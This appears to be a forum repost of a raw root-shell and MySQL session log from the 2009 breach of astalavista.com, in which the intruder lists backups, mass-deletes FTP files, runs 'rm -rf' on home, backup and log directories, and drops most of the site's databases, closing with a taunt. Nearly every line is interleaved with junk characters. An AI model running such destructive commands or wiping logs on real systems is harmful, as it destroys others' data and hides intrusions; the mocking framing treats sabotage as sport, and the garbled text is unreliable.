0 D4 X. Q, c0 B& [-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar$ e, o! Z3 q! c |) u
-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
+ X, i& [" x a-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
& X/ l) ], A' B; c9 X-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar
- U$ D( X. f- [- b-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar8 V1 B. F7 ]5 i6 ]# z
[snip]
1 c; Z3 c, j0 n3 K. C% g226 Transfer complete.
" r/ R/ t+ [4 W$ \( Vftp> mdelete *0 X. t/ X3 n/ ]' T
ftp> ls -la$ Q8 h8 k6 Q5 ~3 ]% A
227 Entering Passive Mode (212,254,194,163,2,193)
& y$ K; ~" ]) {" Q L150 Opening BINARY mode data connection for ‘file list’.4 P4 _# G+ s F, M
226 Transfer complete.- ]3 |/ @, t7 [( p& S4 l4 U5 b
ftp>/ d ^- v4 B; S7 R! B" w. h9 {. M
1 U) m5 d2 m% Q- n% [sh-3.2# cd /home
5 y y8 R9 |/ \1 U; S7 Ish-3.2# ls -la
! |" C3 n" ^9 c. i7 x3 ototal 1202 E. H6 ]- Z( H/ u( K& D
drwxr-xr-x 14 root root 4096 Mar 11 17:56 . u5 |" M4 d1 y! j# r
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
) O U! r) ^* F. T% Hdrwx–x–x 9 admin admin 4096 Nov 28 2007 admin
& @3 g6 z3 P' X9 U+ q& b' Q9 F& U-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
/ D6 n! F, E5 v6 p1 _: J( e: n-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
: y. G' t: b2 c& @drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet j: Q- @0 `* P& R$ Y+ C
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup& a5 [& u+ ~, I3 Q7 K0 f5 W
drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161* _7 y+ z8 g0 v- w
drwx–x–x 10 com com 4096 Apr 28 12:40 com
. O d) \5 S$ N# G, I! d$ B# N) Cdrwxr-xr-x 2 root root 4096 May 17 2007 ftp, v0 u! O0 a" a$ \
drwx—— 3 jon jon 4096 Sep 21 2007 jon
* @9 s* B4 h* I7 K: p8 Vdrwx—— 2 root root 16384 Sep 11 2007 lost+found
0 ?# i: J% _9 {+ n/ qdrwxr-xr-x 2 root root 4096 Sep 14 2007 my) U4 p2 N& \& J. q8 ~! E, i" z1 _
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
% F+ X' k/ X9 m+ h4 U6 ]drwx—— 2 jon jon 4096 Sep 15 2007 test
$ {* K9 a' ^. O# n. Y' h! Fdrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp; D( o6 n; ?0 P( g
- }5 a: _/ [# Q2 D. B' N% u
sh-3.2# rm -rf backup/
# g. s. |$ Y, \* j+ }sh-3.2# rm -rf backup.14161/
7 Z0 ~% `; ~' H' ~sh-3.2# rm -rf ftp/
$ a) G# B& P, ]! w: _* lsh-3.2# rm -rf jon/
; d9 h+ M4 ]% ysh-3.2# rm -rf my/3 c7 Y% T/ u! k7 N: Y
sh-3.2# rm -rf mysqldata/9 d( G6 B; l4 F. N y
sh-3.2# rm -rf test/
4 V) P0 l' B2 ^8 O- X+ m* r) Fsh-3.2# rm -rf tmp/2 w. `0 A% B5 U0 o. f }9 ]9 C
sh-3.2# cd ~% }& s# i% w& c$ @# `, T5 _6 O
sh-3.2# rm -rf *
$ s7 ~. H# r3 P/ r$ Nsh-3.2# rm -rf /var/log/1 ^0 D4 l5 n) c' e0 f1 v
rm: cannot remove directory `/var/log//proftpd’: Directory not empty
5 i" l" N- W1 K" O" S5 L! w. psh-3.2# rm -rf /home/*
, s7 {' |/ ^& [5 k5 I6 Ysh-3.2# mysql4 \* k( u4 m$ F! d6 E
Welcome to the MySQL monitor. Commands end with ; or \g.' N% P6 y+ [. U' g$ e4 p. G
Your MySQL connection id is 407156
m7 a/ y9 h1 o% b5 l# `4 V' d% ^Server version: 5.0.45-community-log MySQL Community Edition (GPL)
* k' l# g' o4 {9 _6 V& T
v+ f0 s$ c5 K4 s( PType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.3 p% q- O3 K- Y2 W
7 A( _7 M5 H% L! V3 f* U" B6 }% I
mysql> show databases;) [, `9 e; C, w3 J: Q* P) h
+———————–+
6 a7 k; T7 k5 t& U0 G- n| Database |
$ A$ _9 @/ q! y% `: O+———————–+9 Q/ {+ z' X! i. r& ]; \2 \; v
| information_schema |2 ^: F4 L$ V: ]9 K0 `# E7 t
| astanet_ads |
: h- j' w5 g# o# B. _% q+ F| astanet_mailing_lists |
& h: U: C' }% I% d9 _| astanet_mediawiki |4 b2 X9 ^3 F% j
| astanet_membersystem |& b6 v/ W, Z% m! J
| com_contrexx |
) Q1 ^8 ^$ V) G o% [| com_contrexx2 |
% p ? x- n! D4 d| com_contrexx2_live |
2 M! E+ [- A( M% w( t1 ~| da_roundcube |: u. Z# }! s3 P$ K1 F
| dolphin |
. k* I6 O- l- R( i| ideapool |; E" \( g1 a: g! u6 F. O) P9 X; k
| mysql |
" c. s( a% j1 {) l! ^) v2 c5 Q6 P| test |6 K. x+ v4 D5 v t
| yourmaster |
" c2 O$ e; R1 E6 ]! N8 E! f+———————–+
4 j( `3 X- |2 }- k7 @14 rows in set (0.03 sec)
4 z, t* g) i% m0 }+ F7 D2 c
* p3 h- P! Z$ S3 E, ` J, {, ^mysql> drop database astanet_membersystem;$ m" r. |) a* K: _
droQuery OK, 46 rows affected (0.81 sec)
% k' F C8 m3 d+ V# O. k8 _' ^$ I" C) S3 S, K+ z$ u
mysql> drop database com_contrexx;9 o+ d8 l% I8 N; g/ l0 Z# d
Query OK, 211 rows affected (2.72 sec). X) H" b6 _0 ?9 i5 p& Y
" l1 e3 s. |3 C$ Tmysql> drop database com_contrexx2;
& K( R R( O* W0 D* ZQuery OK, 237 rows affected (2.23 sec); j: T1 y+ A+ g. _
2 [' i5 T6 n5 D' g/ T+ @mysql> drop database com_contrexx2_live;. X4 J8 _# Y9 [$ W
Query OK, 227 rows affected (7.63 sec)
4 R3 |$ ]# b+ [) s# f
* j k& O4 A8 e* Zmysql> drop database ideapool;
, g( Z+ q* T( c+ L. XQuery OK, 69 rows affected (0.19 sec)
! b1 n+ M( J9 o5 q
& P7 z. B6 m' g3 \ C7 @3 M- k* @mysql> drop database yourmaster;
3 q6 S) |8 y. Q# u; pQuery OK, 158 rows affected (0.55 sec)
' G' t5 X+ Q3 r! a
' j: Q5 O- g& d( m h0 e9 ^7 vmysql> drop database astanet_ads;
* T5 G/ D, t# C/ K% z! k8 IQuery OK, 9 rows affected (0.11 sec)
9 b. Z! \2 f0 N \1 n
1 X6 a. r3 ~1 a4 ]1 [/ |9 [. o2 {& qmysql> drop database astanet_mailing_lists;% ]* n( [+ g% I( b U( d6 E$ D* I# B& s
Query OK, 24 rows affected (1.47 sec)& n3 C; X3 \9 f: d* Q; t& ~' v. m
" h( D5 d4 f kmysql> drop database astanet_mediawiki;& I' q' P/ e( l5 g! x* Y
Query OK, 31 rows affected (0.51 sec)
# O' p8 M6 }+ O5 g0 C
, c. Z9 I; g* s9 T8 Smysql> show databases;& I8 d- u/ n, [* f9 w& p x
+——————–+' t' }$ w! z- ^, S
| Database |
* B: c4 H+ @# s+——————–+6 n7 [# y/ o; w0 c
| information_schema |
8 k8 |' ]1 B2 Z| da_roundcube |
* F$ G% i2 k' P+ q5 O5 }$ Q) E/ || dolphin |
0 z8 ~: C! m, g; n/ L| mysql |" O; f; V" Z( k6 X9 @' D& M' l
| test |% g3 y3 R, A, r3 D) n0 h0 o; }
+——————–+9 |1 A7 {/ Y$ N% f. N
5 rows in set (0.00 sec)
# O, ^" ~0 v X- _9 i {3 i3 k6 x) w& p
4 P u( a0 [+ m2 T0 D! ^0 h" M: Q% JWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
# {2 I( p, n, ?/ t6 etheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the; a+ N) a2 n" G8 q% c8 g( a7 q, T
wrong to say this pack of morons *wont be back*.
, R1 w! N0 p( k( K6 r! y4 L- ?8 g |
发表于 2012-11-6 21:07:34
收藏
支持
反对